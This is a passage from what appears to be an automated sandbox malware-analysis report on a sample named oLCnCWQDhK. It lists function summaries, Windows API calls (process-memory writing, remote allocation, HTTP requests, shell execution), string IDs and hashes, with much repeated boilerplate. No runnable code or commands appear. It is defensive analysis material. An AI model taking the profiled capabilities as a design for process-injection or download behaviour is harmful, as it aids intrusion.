                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: __amsg_exit__getptd$Ex_nolock__getptd_noexit__lock__updatetlocinfo
                              • String ID:
                              • API String ID: 938513278-0
                              • Opcode ID: 82c9f3bbc84dc287df7640515fd49376d4ae64643407e313ceafc36016311655
                              • Instruction ID: 276dd8d19a6a3be70f37c916a71154ef36d62806621923b96dbf7b6e4fe89171
                              • Opcode Fuzzy Hash: 82c9f3bbc84dc287df7640515fd49376d4ae64643407e313ceafc36016311655
                              • Instruction Fuzzy Hash: 6DF09632A4C7009AD721BBA6940B7DD33B0AF10768F11415FF541572D2CB6C59C1CB9D
                              Function 0044F405 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 302COMMON
                              Download Yara Rule
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID:
                              • String ID: )$U$\
                              • API String ID: 0-3705770531
                              • Opcode ID: 028001eb2bff774db3903015b7fa80ce6d69291786b8857f67b928b721b55690
                              • Instruction ID: d0f1885598f34d5f764b4f2a5794ec4e3d7857f6dac93f6e146ba8491093b400
                              • Opcode Fuzzy Hash: 028001eb2bff774db3903015b7fa80ce6d69291786b8857f67b928b721b55690
                              • Instruction Fuzzy Hash: 83C1C074A00249CFEB24CF69C5806AEBBF2FF85304F2481ABD8569B351D739994ACF15
                              Function 0046E48D Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 263comCOMMON
                              Download Yara Rule
                              APIs
                                • Part of subcall function 004426CD: _wcslen.LIBCMT ref: 004426F9
                              • CoInitialize.OLE32(00000000), ref: 0046E505
                              • CoCreateInstance.OLE32(00482A08,00000000,00000001,004828A8,?), ref: 0046E51E
                              • CoUninitialize.OLE32 ref: 0046E53D
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: CreateInitializeInstanceUninitialize_wcslen
                              • String ID: .lnk
                              • API String ID: 886957087-24824748
                              • Opcode ID: 275befd32e5b5cb51e2fc879a9ecc6bbb724afd33f596a1e549e31a6ffdfd8c7
                              • Instruction ID: 2644725dabb75134900838bfbf7f9974cf5b6b8c274c659ea1b0544ab4b4cf98
                              • Opcode Fuzzy Hash: 275befd32e5b5cb51e2fc879a9ecc6bbb724afd33f596a1e549e31a6ffdfd8c7
                              • Instruction Fuzzy Hash: A6A1CB756042019FC700EF65C980E5BB7E9AFC8308F108A5EF9859B392DB35EC45CBA6
                              Function 0044E180 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 261COMMON
                              Download Yara Rule
                              APIs
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: _memmove
                              • String ID: \
                              • API String ID: 4104443479-2967466578
                              • Opcode ID: 236e1e21dc65edc907fd0526d8e82b29cd887e6a6cae6abce2d2318f267918b8
                              • Instruction ID: 90b25fc4546a2c21e21e7939c456fa175a28996bec6c3309f7edcf8d77039fcb
                              • Opcode Fuzzy Hash: 236e1e21dc65edc907fd0526d8e82b29cd887e6a6cae6abce2d2318f267918b8
                              • Instruction Fuzzy Hash: 8AB1C270D04289CFEF15CFA9C8807AEBBB2BF55308F28419ED451AB381D7795946CB1A
                              Function 0044E189 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 261COMMON
                              Download Yara Rule
                              APIs
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: _memmove
                              • String ID: \
                              • API String ID: 4104443479-2967466578
                              • Opcode ID: aaea77048b6460e77790bc9063151364371e311f89c51572a31744d174c5d814
                              • Instruction ID: 47d8400a167da4587eb122393216330e55bf30386b581c043e0675457d4a745f
                              • Opcode Fuzzy Hash: aaea77048b6460e77790bc9063151364371e311f89c51572a31744d174c5d814
                              • Instruction Fuzzy Hash: F1B1C270D04289CFEF15CFA9C8807AEBBB2BF55308F28419ED451AB381D7795946CB1A
                              Function 0044E199 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 260COMMON
                              Download Yara Rule
                              APIs
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: _memmove
                              • String ID: \
                              • API String ID: 4104443479-2967466578
                              • Opcode ID: 51371dbcd6d614fdce5bfd4d2520a50a5cfc61004088100711ab8bbb78939718
                              • Instruction ID: 4d1558bed40bbae7f26d93592334ac0d2c658ca85fbb7fec499742c135aa7d63
                              • Opcode Fuzzy Hash: 51371dbcd6d614fdce5bfd4d2520a50a5cfc61004088100711ab8bbb78939718
                              • Instruction Fuzzy Hash: E5A1C270D04289CFEF15CFA9C8807AEBBB2BF55308F28419ED441AB381D7795946CB1A
                              Function 0046A6E1 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 241COMMON
                              Download Yara Rule
                              Strings
                              • \\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs], xrefs: 0046A75B
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: _memmovestd::exception::exception$Exception@8Throw_malloc_wcslen
                              • String ID: \\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs]
                              • API String ID: 708495834-557222456
                              • Opcode ID: 0835c6591df01f69715f5e8aca6b92cd03353c77de4b2b2244ddd74c7a14709d
                              • Instruction ID: 9c514e09f8cb76db8ae150367893d7536957bb5c5403f45e3580b17af89e858a
                              • Opcode Fuzzy Hash: 0835c6591df01f69715f5e8aca6b92cd03353c77de4b2b2244ddd74c7a14709d
                              • Instruction Fuzzy Hash: 7C917F711087009FC310EF65C88186BB7E8AF89314F148D2FF595672A2E778E919CB9B
                              Function 0043659E Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 162windowCOMMON
                              Download Yara Rule
                              APIs
                                • Part of subcall function 00434319: WriteProcessMemory.KERNEL32(?,?,?,?,00000000), ref: 0043434A
                              • SendMessageW.USER32(?,00001104,00000000,00000000), ref: 004365EF
                                • Part of subcall function 004342DD: ReadProcessMemory.KERNEL32(?,?,?,?,00000000), ref: 0043430E
                                • Part of subcall function 004343AD: GetWindowThreadProcessId.USER32(?,?), ref: 004343E0
                                • Part of subcall function 004343AD: OpenProcess.KERNEL32(00000438,00000000,?), ref: 004343F1
                                • Part of subcall function 004343AD: VirtualAllocEx.KERNEL32(00000000,00000000,?,00001000,00000004), ref: 00434408
                              • SendMessageW.USER32(?,00001111,00000000,00000000), ref: 0043665F
                              • SendMessageW.USER32(00000000,00001111,00000000,00000000), ref: 004366DF
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: Process$MessageSend$Memory$AllocOpenReadThreadVirtualWindowWrite
                              • String ID: @
                              • API String ID: 4150878124-2766056989
                              • Opcode ID: 6104cbe5d4ae3c4c99a3306f76968d572a7f9f5d55716afa725ed0ba86ca2a2d
                              • Instruction ID: 60a9f40d71a87185ad744a771aacdfc79ad0a16393efc777ae91d2f205fac39b
                              • Opcode Fuzzy Hash: 6104cbe5d4ae3c4c99a3306f76968d572a7f9f5d55716afa725ed0ba86ca2a2d
                              • Instruction Fuzzy Hash: 0D51B972A00218ABCB10DFA5DD42FDEB778EFC9304F00459AFA05EB180D6B4BA45CB65
                              Function 0044F137 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 161COMMON
                              Download Yara Rule
                              APIs
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: _memmove
                              • String ID: \$]$h
                              • API String ID: 4104443479-3262404753
                              • Opcode ID: 176a597a96dcd2a70b70cc410daef71b144e937b03d0c11d284d361abdce2453
                              • Instruction ID: f8aecd1968ad4f88b1990a67d2c0a139cd5c037738d7fdf96801fcbc28408ccb
                              • Opcode Fuzzy Hash: 176a597a96dcd2a70b70cc410daef71b144e937b03d0c11d284d361abdce2453
                              • Instruction Fuzzy Hash: 97518470E00209DFDF18CFA5C980AAEB7F2BF85304F29826AD405AB355D7385D45CB55
                              Function 00457C53 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 158COMMON
                              Download Yara Rule
                              APIs
                              • ShellExecuteExW.SHELL32(0000003C), ref: 00457D67
                                • Part of subcall function 00410160: _wcslen.LIBCMT ref: 00410162
                                • Part of subcall function 00410160: _wcscpy.LIBCMT ref: 00410182
                              • CloseHandle.KERNEL32(?), ref: 00457E09
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: CloseExecuteHandleShell_wcscpy_wcslen
                              • String ID: <$@
                              • API String ID: 2417854910-1426351568
                              • Opcode ID: 456975d6943100b9bccf6a944bdff1bb50055e47ea808eda8884d41227499f4e
                              • Instruction ID: b88a15a70aa0ad5f6f29005b2a8070d35214d1ef645994392ec84fe4d9ca6df0
                              • Opcode Fuzzy Hash: 456975d6943100b9bccf6a944bdff1bb50055e47ea808eda8884d41227499f4e
                              • Instruction Fuzzy Hash: C751D3719002089BDB10EFA1D985AAFB7B4EF44309F10446EED05AB352DB79ED49CB94
                              Function 0044A856 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 122networkCOMMON
                              Download Yara Rule
                              APIs
                              • InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 0044A87A
                              • HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0044A8C9
                              • HttpQueryInfoW.WININET(00000000,00000005,?,?,?), ref: 0044A901
                                • Part of subcall function 004422CB: GetLastError.KERNEL32 ref: 004422E1
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: Http$ErrorInfoInternetLastOpenQueryRequestSend
                              • String ID:
                              • API String ID: 3705125965-3916222277
                              • Opcode ID: 0ee13e9a60eb6ba6c748d714ed0ce9e8e081c7518857538375ec5b6ad63af0be
                              • Instruction ID: d28fa13b4dde737238ce5dcfaacd3c540a76458eeabd88e5a6b3f8614e5f537b
                              • Opcode Fuzzy Hash: 0ee13e9a60eb6ba6c748d714ed0ce9e8e081c7518857538375ec5b6ad63af0be
                              • Instruction Fuzzy Hash: DB310B76A802047AE720EF56DC42FDFB7A8EBD9710F00851FFA0097281D6B5550987AC
                              Function 0045FA41 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 120windowCOMMON
                              Download Yara Rule
                              APIs
                              • GetMenuItemInfoW.USER32 ref: 0045FAC4
                              • DeleteMenu.USER32(?,?,00000000), ref: 0045FB15
                              • DeleteMenu.USER32(00000000,?,00000000), ref: 0045FB68
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: Menu$Delete$InfoItem
                              • String ID: 0
                              • API String ID: 135850232-4108050209
                              • Opcode ID: 44596b6c283006d3404d95c3e5e16104138b05286e513df4f299336d423ce3c8
                              • Instruction ID: 2caf7e1b7ae413ca61a5456c92b2eab9e90ede26a48057f627e29f4096114103
                              • Opcode Fuzzy Hash: 44596b6c283006d3404d95c3e5e16104138b05286e513df4f299336d423ce3c8
                              • Instruction Fuzzy Hash: CC41D2B1604201ABD710CF25CC45F17B7A9AF84315F148A2EFDA49B2C2D378E849CBA6
                              Function 004507B7 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON
                              Download Yara Rule
                              APIs
                              • SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000013), ref: 0045085F
                              • 742845F0.USER32(?,000000F0), ref: 0045087D
                              • 742859E0.USER32(?,000000F0,00000000,?,000000F0), ref: 0045088E
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: 742845742859Window
                              • String ID: SysTreeView32
                              • API String ID: 2921398790-1698111956
                              • Opcode ID: 6654344cdbbec2ecb5663208c63790126aca218b871aedcbee15bef271784643
                              • Instruction ID: 2f6c96d6d770cdd7f6b01965cae739f5ffbb06f7b8c4bfc7c6bf121f6b9a1f40
                              • Opcode Fuzzy Hash: 6654344cdbbec2ecb5663208c63790126aca218b871aedcbee15bef271784643
                              • Instruction Fuzzy Hash: 34418D75500205ABEB10DF29DC84FEB33A8FB49325F20471AF865972D1D778E895CBA8
                              Function 00434B02 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 108libraryloaderCOMMON
                              Download Yara Rule
                              APIs
                              • LoadLibraryA.KERNEL32(?), ref: 00434B10
                              • GetProcAddress.KERNEL32(?,AU3_GetPluginDetails), ref: 00434B88
                              • FreeLibrary.KERNEL32(?), ref: 00434B9F
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: Library$AddressFreeLoadProc
                              • String ID: AU3_GetPluginDetails
                              • API String ID: 145871493-4132174516
                              • Opcode ID: 525874d34911f66d3e6dd89a42f64d0fb8abb6a055dcd3ee386d4a3c405b38ac
                              • Instruction ID: fc8523f5daf935d660d2a9c884068eb8da3e2fc1adb06f3317e0194b47a185ca
                              • Opcode Fuzzy Hash: 525874d34911f66d3e6dd89a42f64d0fb8abb6a055dcd3ee386d4a3c405b38ac
                              • Instruction Fuzzy Hash: C24107B9600605EFC710DF59D8C0E9AF7A5FF89304B1082AAEA1A8B311D735FD52CB95
                              Function 004509D8 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 97COMMON
                              Download Yara Rule
                              APIs
                              • 74285CF0.USER32(00000000), ref: 00450A2F
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: 74285
                              • String ID: msctls_updown32
                              • API String ID: 3433674075-2298589950
                              • Opcode ID: ede3ba3c4388c74c76a3cd747824982d62f6d25d37162a4df1ebcaa7ffb6df4e
                              • Instruction ID: fccd3fcc05e4e2aaf5990a1cc96ccc3c6d01ef6560d5fec67e6c7c3c5f699695
                              • Opcode Fuzzy Hash: ede3ba3c4388c74c76a3cd747824982d62f6d25d37162a4df1ebcaa7ffb6df4e
                              • Instruction Fuzzy Hash: 213182767402056FE710DF58EC81FAB3368FF99710F10411AFA009B282C7B5AC96C7A8
                              Function 0044DC13 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 95COMMON
                              Download Yara Rule
                              APIs
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: _memmove
                              • String ID: $<
                              • API String ID: 4104443479-428540627
                              • Opcode ID: 6c7976b20de454da7fe1266d8cf8ce191b2ccd068f9cf911d6d19d23786630cd
                              • Instruction ID: e8c4ca86f7ae52158d8313b00b6d431508e51e3fea12eaab667d4a9530e7d8b8
                              • Opcode Fuzzy Hash: 6c7976b20de454da7fe1266d8cf8ce191b2ccd068f9cf911d6d19d23786630cd
                              • Instruction Fuzzy Hash: A331EF30D04258DEFF25CFAAC9847EEBBB1AF11310F18419AD455A7382D7789E48CB25
                              Function 0045D779 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 80COMMON
                              Download Yara Rule
                              APIs
                              • SetErrorMode.KERNEL32(00000001), ref: 0045D79D
                              • GetDiskFreeSpaceExW.KERNEL32(?,?,?,?,?), ref: 0045D812
